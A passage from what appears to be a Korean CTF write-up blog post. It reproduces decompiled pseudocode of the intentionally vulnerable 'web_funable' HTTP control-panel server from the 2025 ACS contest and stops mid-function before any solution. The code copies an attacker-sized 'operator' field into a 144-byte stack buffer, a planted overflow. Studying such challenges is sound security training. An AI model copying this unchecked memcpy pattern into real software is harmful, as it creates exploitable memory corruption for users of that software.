hiariz 님의 블로그
[2025 ACS] web_funable 본문
문제는 ACS 해킹대회에 출제된 문제입니다.
문제 코드는 다음과 같습니다.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v4; // ebp
int v5; // edx
int v6; // ecx
int v7; // r8d
int v8; // r9d
int v9; // eax
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
unsigned int v14; // ebx
int v15; // edx
int v16; // ecx
int v17; // r8d
int v18; // r9d
int v19; // [rsp+Ch] [rbp-3Ch] BYREF
int v20; // [rsp+10h] [rbp-38h] BYREF
__int64 v21; // [rsp+14h] [rbp-34h]
int v22; // [rsp+1Ch] [rbp-2Ch]
ssignal(13LL, 1LL, envp);
setbuf(stdout, 0LL);
v3 = socket(2LL, 1LL, 0LL);
if ( v3 >= 0 )
{
v4 = v3;
v19 = 1;
if ( (int)setsockopt((unsigned int)v3, 1LL, 2LL, &v19, 4LL) >= 0 )
{
v21 = 0LL;
v22 = 0;
v20 = -1877016574;
if ( (int)bind(v4, &v20, 16LL) >= 0 )
{
if ( (int)listen(v4, 16LL) >= 0 )
{
debug_log((unsigned int)"[server] listening on port %d\n", 8080, v5, v6, v7, v8);
while ( 1 )
{
v9 = accept(v4, 0LL, 0LL);
v14 = v9;
if ( v9 >= 0 )
{
debug_log((unsigned int)"[server] accepted connection fd=%d\n", v9, v10, v11, v12, v13);
handle_client(v14);
close(v14);
debug_log((unsigned int)"[server] closed connection fd=%d\n", v14, v15, v16, v17, v18);
}
else if ( *(_DWORD *)_errno_location() != 4 )
{
JUMPOUT(0x93DELL);
}
}
}
JUMPOUT(0x93EALL);
}
JUMPOUT(0x93F6LL);
}
JUMPOUT(0x9402LL);
}
main_cold();
}
// positive sp value has been detected, the output may be wrong!
__int64 __fastcall handle_client(unsigned int a1, __int64 a2, int a3, int a4, int a5, int a6)
{
__int64 v6; // r15
__int64 result; // rax
int v8; // r8d
int v9; // r9d
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
unsigned __int64 v14; // r14
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
_BYTE *i; // rdi
unsigned __int64 v19; // r13
unsigned __int64 v20; // rbp
__int64 v21; // r13
__int64 v22; // rax
int v23; // eax
int v24; // edx
int v25; // ecx
int v26; // r8d
int v27; // r9d
int v28; // r8d
int v29; // r9d
__int64 v30; // rdx
_BYTE *v31; // rdi
_DWORD *v32; // rsi
__int64 v33; // rax
int v34; // edx
int v35; // ecx
int v36; // r8d
int v37; // r9d
__int64 j; // r15
_BYTE *v39; // rax
int v40; // edx
int v41; // ecx
int v42; // r8d
int v43; // r9d
_BYTE *v44; // rbx
int v45; // eax
__int64 v46; // rdx
_BYTE *v47; // rcx
__int64 v48; // r8
_BYTE *v49; // r9
int v50; // eax
__int64 v51; // rdx
int v52; // eax
__int64 v53; // rdx
int v54; // eax
__int64 v55; // rdx
int v56; // edx
int v57; // r9d
_BYTE *v58; // r14
char v59; // bl
__int64 v60; // rbp
_BYTE *v61; // r15
__int64 k; // r14
__int64 v63; // r12
char *v64; // r13
__int64 *v65; // rax
__int64 v66; // rax
__int16 v67; // ax
int v68; // eax
int v69; // edx
int v70; // ecx
int v71; // r8d
int v72; // r9d
__int64 v73; // rcx
char v74; // [rsp-4F8h] [rbp-6528h]
unsigned int v75; // [rsp-4ECh] [rbp-651Ch]
_BYTE *v76; // [rsp-4E8h] [rbp-6518h]
unsigned __int64 v77; // [rsp-4D8h] [rbp-6508h]
_BYTE *v78; // [rsp-4C8h] [rbp-64F8h]
__int64 v79; // [rsp-4C0h] [rbp-64F0h]
__int16 v80; // [rsp-4B0h] [rbp-64E0h] BYREF
char v81; // [rsp-4AEh] [rbp-64DEh]
int v82; // [rsp-4ACh] [rbp-64DCh] BYREF
__int64 v83; // [rsp-4A8h] [rbp-64D8h] BYREF
__int64 v84; // [rsp-4A0h] [rbp-64D0h] BYREF
_BYTE v85[64]; // [rsp-498h] [rbp-64C8h] BYREF
_BYTE v86[1112]; // [rsp-458h] [rbp-6488h] BYREF
char v87; // [rsp+0h] [rbp-6030h] BYREF
_BYTE v88[5200]; // [rsp+BA8h] [rbp-5488h] BYREF
_BYTE v89[11036]; // [rsp+1FF8h] [rbp-4038h] BYREF
while ( &v87 != &v88[-23464] )
;
v6 = 0LL;
v75 = a1;
control_fd = a1;
debug_log((unsigned int)"[handle_client] new connection fd=%d\n", a1, a3, a4, a5, a6);
while ( 1 )
{
result = ((__int64 (__fastcall *)(_QWORD, _BYTE *, __int64, _QWORD))recv)(a1, &v89[v6], 0x3FFF - v6, 0LL);
if ( result <= 0 )
break;
v6 += result;
v89[v6] = 0;
result = ((__int64 (__fastcall *)(_BYTE *, char *))j_strstr)(v89, "\r\n\r\n");
if ( result )
break;
if ( v6 > 16382 )
goto LABEL_6;
}
if ( v6 <= 0 )
return result;
LABEL_6:
v84 = 0LL;
memset(v85, 0, sizeof(v85));
if ( (unsigned int)_isoc23_sscanf(
(unsigned int)v89,
(unsigned int)"%7s %63s",
(unsigned int)&v84,
(unsigned int)v85,
v8,
v9,
v74) != 2 )
return debug_log(
(unsigned int)"[handle_client] unable to parse request line\n",
(unsigned int)"%7s %63s",
v10,
v11,
v12,
v13);
debug_log((unsigned int)"[handle_client] method=%s path=%s\n", (unsigned int)&v84, (unsigned int)v85, v11, v12, v13);
v14 = 0LL;
v15 = ((__int64 (__fastcall *)(_BYTE *, char *))j_strstr)(v89, "\r\n\r\n");
v76 = (_BYTE *)v15;
if ( v15 )
{
v16 = v15 - (_QWORD)v89 + 4;
if ( v6 > v16 )
v14 = v6 - v16;
}
v17 = ((__int64 (__fastcall *)(_BYTE *, const char *))strcasestr)(v89, "Content-Length:");
if ( v17 )
{
for ( i = (_BYTE *)(v17 + 15); *i == 32; ++i )
;
v19 = ((__int64 (__fastcall *)(_BYTE *, _QWORD, __int64))_isoc23_strtoumax)(i, 0LL, 10LL);
if ( !(unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
{
if ( v14 < v19 )
{
v20 = v19 - v14;
if ( v6 <= 16382 )
{
v77 = v19;
v21 = v6;
do
{
v22 = ((__int64 (__fastcall *)(_QWORD, _BYTE *, __int64, _QWORD))recv)(v75, &v89[v21], 0x3FFF - v21, 0LL);
if ( v22 <= 0 )
break;
v21 += v22;
v20 -= v22;
if ( !v20 )
break;
}
while ( v21 <= 16382 );
v6 = v21;
v19 = v77;
}
}
goto LABEL_21;
}
}
else
{
v19 = 0LL;
if ( !(unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
LABEL_21:
v89[v6] = 0;
}
v23 = ((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "GET");
if ( !v76 )
{
if ( v23 )
goto LABEL_74;
LABEL_48:
debug_log((unsigned int)"[handle_get] sending default dashboard\n", (unsigned int)"GET", v24, v25, v26, v27);
result = ((__int64 (__fastcall *)(_QWORD, const char *, const char *))stream_dashboard)(
v75,
"<span class=\"status-label\">Operator</span> anonymous • <span class=\"status-label\">Throttle</span"
"> maintain • <span class=\"status-label\">RPM</span> 1500 • <span class=\"status-label\">Overri"
"de</span> DISARMED",
"No diagnostics submitted.");
goto LABEL_49;
}
if ( !v23 )
goto LABEL_48;
if ( (unsigned int)((__int64 (__fastcall *)(__int64 *, const char *))j_strcasecmp)(&v84, "POST") )
{
LABEL_74:
dprintf(v75, (unsigned int)"HTTP/1.0 405 Method Not Allowed\r\nConnection: close\r\n\r\n", v24, v25, v26, v27, v74);
result = debug_log((unsigned int)"[handle_client] unsupported method=%s\n", (unsigned int)&v84, v69, v70, v71, v72);
goto LABEL_49;
}
memset(v88, 0, sizeof(v88));
debug_log((unsigned int)"[handle_post] decoding body length=%zu\n", v19, v24, 0, v26, v27);
v30 = 4095LL;
v31 = v86;
if ( v19 <= 0xFFF )
v30 = v19;
v32 = v76 + 4;
if ( (unsigned int)v30 >= 8 )
{
v73 = (unsigned int)v30 >> 3;
qmemcpy(v86, v32, 8 * v73);
v32 += 2 * v73;
v31 = &v86[8 * v73];
}
v33 = 0LL;
if ( (v30 & 4) != 0 )
{
*(_DWORD *)v31 = *v32;
v33 = 4LL;
}
if ( (v30 & 2) != 0 )
{
*(_WORD *)&v31[v33] = *(_WORD *)((char *)v32 + v33);
v33 += 2LL;
}
if ( (v30 & 1) != 0 )
v31[v33] = *((_BYTE *)v32 + v33);
v86[v30] = 0;
debug_log(
(unsigned int)"[parse_post_body] raw body (truncated=%zu): \"%.*s\"\n",
v19,
v30,
(unsigned int)v86,
v28,
v29);
v83 = 0LL;
for ( j = ((__int64 (__fastcall *)(_BYTE *, const char *, __int64 *))strtok_r)(v86, "&", &v83);
j;
j = ((__int64 (__fastcall *)(_QWORD, const char *, __int64 *))strtok_r)(0LL, "&", &v83) )
{
debug_log((unsigned int)"[parse_post_body] token=\"%s\"\n", j, v34, v35, v36, v37);
v39 = (_BYTE *)((__int64 (__fastcall *)(__int64, __int64))j_strchr_ifunc)(j, 61LL);
v44 = v39;
if ( !v39 )
{
debug_log((unsigned int)"[parse_post_body] skipping token without '='\n", 61, v40, v41, v42, v43);
continue;
}
*v39 = 0;
v76 = v39 + 1;
v45 = ((__int64 (__fastcall *)(__int64, const char *))j_strcmp_ifunc)(j, "operator");
v49 = v76;
if ( v45 )
{
v50 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
j,
"throttle",
v46,
v47,
v48,
v76);
v49 = v76;
if ( v50 )
{
v52 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
j,
"rpm",
v51,
v47,
v48,
v76);
v49 = v76;
if ( v52 )
{
v54 = ((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
j,
"override",
v53,
v47,
v48,
v76);
v49 = v76;
if ( v54 )
{
if ( (unsigned int)((__int64 (__fastcall *)(__int64, const char *, __int64, _BYTE *, __int64, _BYTE *))j_strcmp_ifunc)(
j,
"diagnostic",
v55,
v47,
v48,
v76) )
{
debug_log((unsigned int)"[parse_post_body] unknown key=%s (ignored)\n", j, v56, (_DWORD)v47, v48, v57);
continue;
}
v49 = v76;
v58 = &v88[4160];
}
else
{
v58 = &v88[3120];
}
}
else
{
v58 = &v88[2080];
}
}
else
{
v58 = &v88[1040];
}
}
else
{
v58 = v88;
}
v59 = v44[1];
if ( !v59 )
{
*((_QWORD *)v58 + 128) = 0LL;
v60 = 0LL;
LABEL_61:
v58[v60] = 0;
goto LABEL_62;
}
v47 = v58;
v48 = j;
v60 = 0LL;
v61 = v49;
for ( k = 0LL; ; k = v63 )
{
v63 = k + 1;
v64 = &v61[k + 1];
if ( v59 == 43 )
{
v47[v60] = 32;
v59 = *v64;
++v60;
if ( !*v64 )
goto LABEL_60;
goto LABEL_56;
}
if ( v59 != 37 )
goto LABEL_54;
LOBYTE(v76) = *v64;
if ( !*v64
|| (LOBYTE(v77) = v61[k + 2]) == 0
|| (v79 = v48,
v78 = v47,
v65 = (__int64 *)_ctype_b_loc(),
v47 = v78,
v66 = *v65,
v48 = v79,
(*(_BYTE *)(v66 + 2LL * (unsigned __int8)v76 + 1) & 0x10) == 0)
|| (*(_BYTE *)(v66 + 2LL * (unsigned __int8)v77 + 1) & 0x10) == 0 )
{
LABEL_54:
v47[v60++] = v59;
goto LABEL_55;
}
LOBYTE(v67) = (_BYTE)v76;
HIBYTE(v67) = v77;
v80 = v67;
v81 = 0;
v82 = 0;
v68 = _isoc23_sscanf(
(unsigned int)&v80,
(unsigned int)"%x",
(unsigned int)&v82,
(unsigned __int8)v77,
v79,
(_DWORD)v49,
v74);
v47 = v78;
v48 = v79;
if ( v68 != 1 )
break;
v63 = k + 3;
v64 = &v61[k + 3];
v78[v60++] = v82;
LABEL_55:
v59 = *v64;
if ( !*v64 )
goto LABEL_60;
LABEL_56:
if ( v60 == 1024 )
{
*((_QWORD *)v47 + 128) = 1024LL;
v58 = v47;
LODWORD(j) = v48;
goto LABEL_72;
}
LABEL_57:
;
}
v59 = v61[k + 3];
v63 = k + 3;
if ( v59 )
goto LABEL_57;
LABEL_60:
*((_QWORD *)v47 + 128) = v60;
v58 = v47;
LODWORD(j) = v48;
if ( v60 != 1024 )
goto LABEL_61;
LABEL_72:
LODWORD(v60) = 1024;
LABEL_62:
v58[1032] = 1;
debug_log((unsigned int)"[parse_post_body] key=%s decoded_len=%zu\n", j, v60, (_DWORD)v47, v48, (_DWORD)v49);
}
((void (__fastcall *)(_BYTE *))dump_control_request)(v88);
result = ((__int64 (__fastcall *)(_QWORD, _BYTE *))process_control_packet)(v75, v88);
LABEL_49:
control_fd = -1;
return result;
}
__int64 __fastcall dump_control_request(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
int v14; // edx
int v15; // ecx
int v16; // r8d
int v17; // r9d
int v18; // edx
int v19; // ecx
int v20; // r8d
int v21; // r9d
int v22; // edx
int v23; // ecx
int v24; // r8d
int v25; // r9d
int v26; // edx
int v27; // ecx
int v28; // r8d
int v29; // r9d
int v31; // edx
int v32; // ecx
int v33; // r8d
int v34; // r9d
debug_log((unsigned int)"[dump_control_request] ---- request begin ----\n", a2, a3, a4, a5, a6);
if ( *(_BYTE *)(a1 + 1032) )
{
debug_log(
(unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
(unsigned int)"operator",
*(_QWORD *)(a1 + 1024),
*(_QWORD *)(a1 + 1024),
a1,
v9);
if ( *(_BYTE *)(a1 + 2072) )
goto LABEL_3;
}
else
{
debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"operator", v6, v7, v8, v9);
if ( *(_BYTE *)(a1 + 2072) )
{
LABEL_3:
debug_log(
(unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
(unsigned int)"throttle",
*(_QWORD *)(a1 + 2064),
*(_QWORD *)(a1 + 2064),
a1 + 1040,
v13);
if ( *(_BYTE *)(a1 + 3112) )
goto LABEL_4;
goto LABEL_9;
}
}
debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"throttle", v10, v11, v12, v13);
if ( *(_BYTE *)(a1 + 3112) )
{
LABEL_4:
debug_log(
(unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
(unsigned int)"rpm",
*(_QWORD *)(a1 + 3104),
*(_QWORD *)(a1 + 3104),
a1 + 2080,
v17);
if ( *(_BYTE *)(a1 + 4152) )
goto LABEL_5;
LABEL_10:
debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"override", v18, v19, v20, v21);
if ( *(_BYTE *)(a1 + 5192) )
goto LABEL_6;
goto LABEL_11;
}
LABEL_9:
debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"rpm", v14, v15, v16, v17);
if ( !*(_BYTE *)(a1 + 4152) )
goto LABEL_10;
LABEL_5:
debug_log(
(unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
(unsigned int)"override",
*(_QWORD *)(a1 + 4144),
*(_QWORD *)(a1 + 4144),
a1 + 3120,
v21);
if ( *(_BYTE *)(a1 + 5192) )
{
LABEL_6:
debug_log(
(unsigned int)"[dump_param_value] %s: len=%zu data=\"%.*s\"\n",
(unsigned int)"diagnostic",
*(_QWORD *)(a1 + 5184),
*(_QWORD *)(a1 + 5184),
a1 + 4160,
v25);
return debug_log(
(unsigned int)"[dump_control_request] ---- request end ----\n",
(unsigned int)"diagnostic",
v26,
v27,
v28,
v29);
}
LABEL_11:
debug_log((unsigned int)"[dump_param_value] %s: <absent>\n", (unsigned int)"diagnostic", v22, v23, v24, v25);
return debug_log(
(unsigned int)"[dump_control_request] ---- request end ----\n",
(unsigned int)"diagnostic",
v31,
v32,
v33,
v34);
}
__int64 __fastcall stream_dashboard(unsigned int a1, int a2, __int64 a3)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
int v11; // edx
int v12; // ecx
int v13; // r8d
int v14; // r9d
int v15; // edx
int v16; // ecx
int v17; // r8d
int v18; // r9d
char *v19; // rbx
char v20; // bp
int v21; // ecx
int v22; // r8d
int v23; // r9d
int v24; // ecx
int v25; // r8d
int v26; // r9d
int v28; // edx
int v29; // ecx
int v30; // r8d
int v31; // r9d
__int64 v33; // [rsp+20h] [rbp-1058h]
_BYTE v34[2]; // [rsp+3Eh] [rbp-103Ah] BYREF
_BYTE v35[8]; // [rsp+40h] [rbp-1038h] BYREF
v33 = fopen64("static/index.html", "r");
if ( v33 )
{
dprintf(a1, (unsigned int)"HTTP/1.0 200 OK\r\n", v3, v4, v5, v6);
dprintf(a1, (unsigned int)"Content-Type: text/html; charset=utf-8\r\n", v7, v8, v9, v10);
dprintf(a1, (unsigned int)"Cache-Control: no-store\r\n", v11, v12, v13, v14);
dprintf(a1, (unsigned int)"Connection: close\r\n\r\n", v15, v16, v17, v18);
while ( 1 )
{
v19 = v35;
if ( !fgets(v35, 4096LL, v33) )
break;
v20 = v35[0];
if ( v35[0] )
{
do
{
if ( (unsigned int)j_strncmp_ifunc(v19, "{{STATUS_BLOCK}}", 16LL) )
{
if ( (unsigned int)j_strncmp_ifunc(v19, "{{CONSOLE_STREAM}}", 18LL) )
{
v34[0] = v20;
++v19;
v34[1] = 0;
dprintf(a1, (unsigned int)"%s", (unsigned int)v34, v24, v25, v26);
}
else
{
v19 += 18;
unsafe_log_block(a1, a3);
}
}
else
{
v19 += 16;
dprintf(a1, (unsigned int)"%s", a2, v21, v22, v23);
}
v20 = *v19;
}
while ( *v19 );
}
}
return fclose(v33);
}
else
{
dprintf(a1, (unsigned int)"HTTP/1.0 500 Internal Server Error\r\nConnection: close\r\n\r\n", v3, v4, v5, v6);
return dprintf(a1, (unsigned int)"template missing\r\n", v28, v29, v30, v31);
}
}
__int64 __fastcall process_control_packet(unsigned int a1, __int64 a2, int a3, __int64 a4, int a5, int a6)
{
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
bool v11; // zf
int v12; // edx
int v13; // ecx
int v14; // r8d
int v15; // r9d
int v16; // ecx
int v17; // r8d
int v18; // r9d
__int64 v19; // r13
__int64 v20; // rsi
int v21; // edx
int v22; // ecx
int v23; // r8d
int v24; // r9d
int v25; // edx
int v26; // ecx
int v27; // r8d
int v28; // r9d
unsigned int v29; // r8d
int v30; // r9d
unsigned __int64 v31; // rax
_DWORD *v32; // rdi
_DWORD *v33; // rdx
__int64 v34; // rcx
int v35; // edx
int v36; // ecx
unsigned int v37; // r8d
int v38; // r9d
int v39; // edx
int v40; // ecx
unsigned int v41; // r8d
int v42; // r9d
unsigned __int64 v43; // rax
__int64 v44; // rdi
_DWORD *v45; // rsi
_DWORD *v46; // rdx
__int64 v47; // rcx
int v48; // ecx
int v49; // r8d
int v50; // r9d
unsigned __int64 v51; // rax
_DWORD *v52; // rdi
_DWORD *v53; // rdx
__int64 v54; // rcx
const char *v55; // rdx
int v56; // edx
int v57; // ecx
int v58; // r8d
int v59; // r9d
int v60; // edx
int v61; // ecx
int v62; // r8d
int v63; // r9d
int v64; // edx
int v65; // ecx
int v66; // r8d
int v67; // r9d
int v68; // edx
int v69; // ecx
int v70; // r8d
int v71; // r9d
int v72; // edx
int v73; // ecx
int v74; // r8d
int v75; // r9d
int v76; // edx
int v77; // ecx
int v78; // r8d
int v79; // r9d
unsigned __int64 v81; // rax
__int64 v82; // r11
_DWORD *v83; // r12
_DWORD *v84; // rdx
__int64 v85; // rdi
unsigned __int64 v86; // rax
__int64 v87; // rdi
_DWORD *v88; // r11
_DWORD *v89; // rdx
__int64 v90; // rsi
unsigned __int64 v91; // rax
__int64 v92; // rdi
_DWORD *v93; // r9
_DWORD *v94; // rdx
__int64 v95; // rsi
unsigned __int64 v96; // rax
_DWORD *v97; // rdi
_DWORD *v98; // rdx
__int64 v99; // rsi
__int64 v100; // rdx
__int64 v101; // rcx
__int64 v102; // rdx
__int64 v103; // rcx
__int64 v104; // rdx
__int64 v105; // rcx
__int64 v106; // rdx
__int64 v107; // rdi
__int64 v108; // rdx
__int64 v109; // rsi
__int64 v110; // rdx
__int64 v111; // rsi
__int64 v112; // rdx
__int64 v113; // rsi
int v114; // [rsp-8h] [rbp-260h]
_OWORD v116[4]; // [rsp+10h] [rbp-248h] BYREF
_QWORD v117[2]; // [rsp+50h] [rbp-208h] BYREF
__int128 v118; // [rsp+60h] [rbp-1F8h]
__int128 v119; // [rsp+70h] [rbp-1E8h]
__int128 v120; // [rsp+80h] [rbp-1D8h]
_QWORD v121[2]; // [rsp+90h] [rbp-1C8h] BYREF
__int128 v122; // [rsp+A0h] [rbp-1B8h]
__int128 v123; // [rsp+B0h] [rbp-1A8h]
__int128 v124; // [rsp+C0h] [rbp-198h]
_QWORD v125[2]; // [rsp+D0h] [rbp-188h] BYREF
__int128 v126; // [rsp+E0h] [rbp-178h]
__int128 v127; // [rsp+F0h] [rbp-168h]
__int128 v128; // [rsp+100h] [rbp-158h]
_BYTE v129[128]; // [rsp+110h] [rbp-148h] BYREF
_OWORD v130[12]; // [rsp+190h] [rbp-C8h] BYREF
memset(v130, 0, 0x90uLL);
debug_log((unsigned int)"[process_control_packet] begin processing control packet\n", a2, a3, 0, a5, a6);
dump_control_request(a2, a2, v7, v8, v9, v10);
v11 = *(_BYTE *)(a2 + 1032) == 0;
v117[0] = 6369134LL;
v116[0] = _mm_load_si128((const __m128i *)&xmmword_B6960);
v117[1] = 0LL;
v121[0] = 6369134LL;
v121[1] = 0LL;
v125[0] = 0x7962646E617473LL;
v125[1] = 0LL;
memset(&v116[1], 0, 48);
v118 = 0LL;
v119 = 0LL;
v120 = 0LL;
v122 = 0LL;
v123 = 0LL;
v124 = 0LL;
v126 = 0LL;
v127 = 0LL;
v128 = 0LL;
if ( !v11 )
{
v96 = *(_QWORD *)(a2 + 1024);
v97 = v116;
if ( v96 > 0x3F )
v96 = 63LL;
v98 = (_DWORD *)a2;
if ( (unsigned int)v96 >= 8 )
{
LODWORD(v108) = 0;
do
{
v109 = (unsigned int)v108;
v108 = (unsigned int)(v108 + 8);
*(_QWORD *)((char *)v116 + v109) = *(_QWORD *)(a2 + v109);
}
while ( (unsigned int)v108 < (v96 & 0xFFFFFFF8) );
v97 = (_DWORD *)((char *)v116 + v108);
v98 = (_DWORD *)(a2 + v108);
}
v99 = 0LL;
if ( (v96 & 4) != 0 )
{
*v97 = *v98;
v99 = 4LL;
if ( (v96 & 2) == 0 )
{
LABEL_70:
if ( (v96 & 1) == 0 )
{
LABEL_71:
*((_BYTE *)v116 + v96) = 0;
goto LABEL_2;
}
LABEL_81:
*((_BYTE *)v97 + v99) = *((_BYTE *)v98 + v99);
*((_BYTE *)v116 + v96) = 0;
goto LABEL_2;
}
}
else if ( (v96 & 2) == 0 )
{
goto LABEL_70;
}
*(_WORD *)((char *)v97 + v99) = *(_WORD *)((char *)v98 + v99);
v99 += 2LL;
if ( (v96 & 1) == 0 )
goto LABEL_71;
goto LABEL_81;
}
LABEL_2:
if ( !*(_BYTE *)(a2 + 2072) )
goto LABEL_3;
v91 = *(_QWORD *)(a2 + 2064);
v92 = a2 + 1040;
v93 = v117;
if ( v91 > 0x3F )
v91 = 63LL;
v94 = (_DWORD *)(a2 + 1040);
if ( (unsigned int)v91 >= 8 )
{
LODWORD(v110) = 0;
do
{
v111 = (unsigned int)v110;
v110 = (unsigned int)(v110 + 8);
*(_QWORD *)((char *)v117 + v111) = *(_QWORD *)(v92 + v111);
}
while ( (unsigned int)v110 < (v91 & 0xFFFFFFF8) );
v93 = (_DWORD *)((char *)v117 + v110);
v94 = (_DWORD *)(v92 + v110);
}
v95 = 0LL;
if ( (v91 & 4) == 0 )
{
if ( (v91 & 2) == 0 )
goto LABEL_63;
LABEL_87:
*(_WORD *)((char *)v93 + v95) = *(_WORD *)((char *)v94 + v95);
v95 += 2LL;
if ( (v91 & 1) == 0 )
goto LABEL_64;
goto LABEL_86;
}
*v93 = *v94;
v95 = 4LL;
if ( (v91 & 2) != 0 )
goto LABEL_87;
LABEL_63:
if ( (v91 & 1) == 0 )
{
LABEL_64:
*((_BYTE *)v117 + v91) = 0;
goto LABEL_3;
}
LABEL_86:
*((_BYTE *)v93 + v95) = *((_BYTE *)v94 + v95);
*((_BYTE *)v117 + v91) = 0;
LABEL_3:
if ( !*(_BYTE *)(a2 + 3112) )
goto LABEL_4;
v86 = *(_QWORD *)(a2 + 3104);
v87 = a2 + 2080;
v88 = v121;
if ( v86 > 0x3F )
v86 = 63LL;
v89 = (_DWORD *)(a2 + 2080);
if ( (unsigned int)v86 >= 8 )
{
LODWORD(v112) = 0;
do
{
v113 = (unsigned int)v112;
v112 = (unsigned int)(v112 + 8);
*(_QWORD *)((char *)v121 + v113) = *(_QWORD *)(v87 + v113);
}
while ( (unsigned int)v112 < (v86 & 0xFFFFFFF8) );
v88 = (_DWORD *)((char *)v121 + v112);
v89 = (_DWORD *)(v87 + v112);
}
v90 = 0LL;
if ( (v86 & 4) == 0 )
{
if ( (v86 & 2) == 0 )
goto LABEL_56;
LABEL_92:
*(_WORD *)((char *)v88 + v90) = *(_WORD *)((char *)v89 + v90);
v90 += 2LL;
if ( (v86 & 1) == 0 )
goto LABEL_57;
goto LABEL_91;
}
*v88 = *v89;
v90 = 4LL;
if ( (v86 & 2) != 0 )
goto LABEL_92;
LABEL_56:
if ( (v86 & 1) == 0 )
{
LABEL_57:
*((_BYTE *)v121 + v86) = 0;
goto LABEL_4;
}
LABEL_91:
*((_BYTE *)v88 + v90) = *((_BYTE *)v89 + v90);
*((_BYTE *)v121 + v86) = 0;
LABEL_4:
if ( !*(_BYTE *)(a2 + 4152) )
goto LABEL_5;
v81 = *(_QWORD *)(a2 + 4144);
v82 = a2 + 3120;
v83 = v125;
if ( v81 > 0x3F )
v81 = 63LL;
v84 = (_DWORD *)(a2 + 3120);
if ( (unsigned int)v81 >= 8 )
{
LODWORD(v106) = 0;
do
{
v107 = (unsigned int)v106;
v106 = (unsigned int)(v106 + 8);
*(_QWORD *)((char *)v125 + v107) = *(_QWORD *)(v82 + v107);
}
while ( (unsigned int)v106 < (v81 & 0xFFFFFFF8) );
v83 = (_DWORD *)((char *)v125 + v106);
v84 = (_DWORD *)(v82 + v106);
}
v85 = 0LL;
if ( (v81 & 4) == 0 )
{
if ( (v81 & 2) == 0 )
goto LABEL_49;
LABEL_97:
*(_WORD *)((char *)v83 + v85) = *(_WORD *)((char *)v84 + v85);
v85 += 2LL;
if ( (v81 & 1) == 0 )
goto LABEL_50;
goto LABEL_96;
}
*v83 = *v84;
v85 = 4LL;
if ( (v81 & 2) != 0 )
goto LABEL_97;
LABEL_49:
if ( (v81 & 1) == 0 )
{
LABEL_50:
*((_BYTE *)v125 + v81) = 0;
goto LABEL_5;
}
LABEL_96:
*((_BYTE *)v83 + v85) = *((_BYTE *)v84 + v85);
*((_BYTE *)v125 + v81) = 0;
LABEL_5:
snprintf(
(unsigned int)v129,
128,
(unsigned int)"<span class=\"status-label\">Operator</span> %s • <span class=\"status-label\">Throttle</span> %s"
" • <span class=\"status-label\">RPM</span> %s • <span class=\"status-label\">Override</span> %s",
(unsigned int)v116,
(unsigned int)v117,
(unsigned int)v121,
(char)v125);
debug_log(
(unsigned int)"[process_control_packet] confirmation string=\"%s\"\n",
(unsigned int)v129,
v12,
v13,
v14,
v15);
if ( *(_BYTE *)(a2 + 1032) )
{
debug_log((unsigned int)"copy!! %d len(%d)\n", 144, *(_QWORD *)(a2 + 1024), v16, v17, v18);
v19 = *(_QWORD *)(a2 + 1024);
j_memcpy(v130, a2, v19);
LODWORD(v20) = v19;
debug_log((unsigned int)"[process_control_packet] copied operator payload len=%zu\n", v19, v21, v22, v23, v24);
if ( *(_BYTE *)(a2 + 2072) )
goto LABEL_7;
LABEL_29:
strcpy((char *)&v130[2], "maintain");
debug_log((unsigned int)"[process_control_packet] throttle defaulted to \"maintain\"\n", v20, v25, v26, v27, v28);
if ( !*(_BYTE *)(a2 + 3112) )
goto LABEL_17;
LABEL_30:
v51 = *(_QWORD *)(a2 + 3104);
v20 = a2 + 2080;
v52 = &v130[3];
if ( v51 > 0xF )
v51 = 15LL;
v53 = (_DWORD *)(a2 + 2080);
if ( (unsigned int)v51 >= 8 )
{
LODWORD(v100) = 0;
v37 = v51 & 0xFFFFFFF8;
do
{
v101 = (unsigned int)v100;
v100 = (unsigned int)(v100 + 8);
*(_QWORD *)((char *)&v130[3] + v101) = *(_QWORD *)(v20 + v101);
}
while ( (unsigned int)v100 < v37 );
v52 = (_DWORD *)((char *)&v130[3] + v100);
v53 = (_DWORD *)(v20 + v100);
}
v54 = 0LL;
if ( (v51 & 4) != 0 )
{
*v52 = *v53;
v54 = 4LL;
}
if ( (v51 & 2) != 0 )
{
LODWORD(v20) = *(unsigned __int16 *)((char *)v53 + v54);
*(_WORD *)((char *)v52 + v54) = v20;
v54 += 2LL;
}
if ( (v51 & 1) != 0 )
{
LODWORD(v53) = *((unsigned __int8 *)v53 + v54);
*((_BYTE *)v52 + v54) = (_BYTE)v53;
}
*((_BYTE *)&v130[3] + v51) = 0;
debug_log((unsigned int)"[process_control_packet] rpm updated\n", v20, (_DWORD)v53, v54, v37, v38);
if ( *(_BYTE *)(a2 + 4152) )
goto LABEL_18;
LABEL_40:
strcpy((char *)&v130[4], "DISARMED");
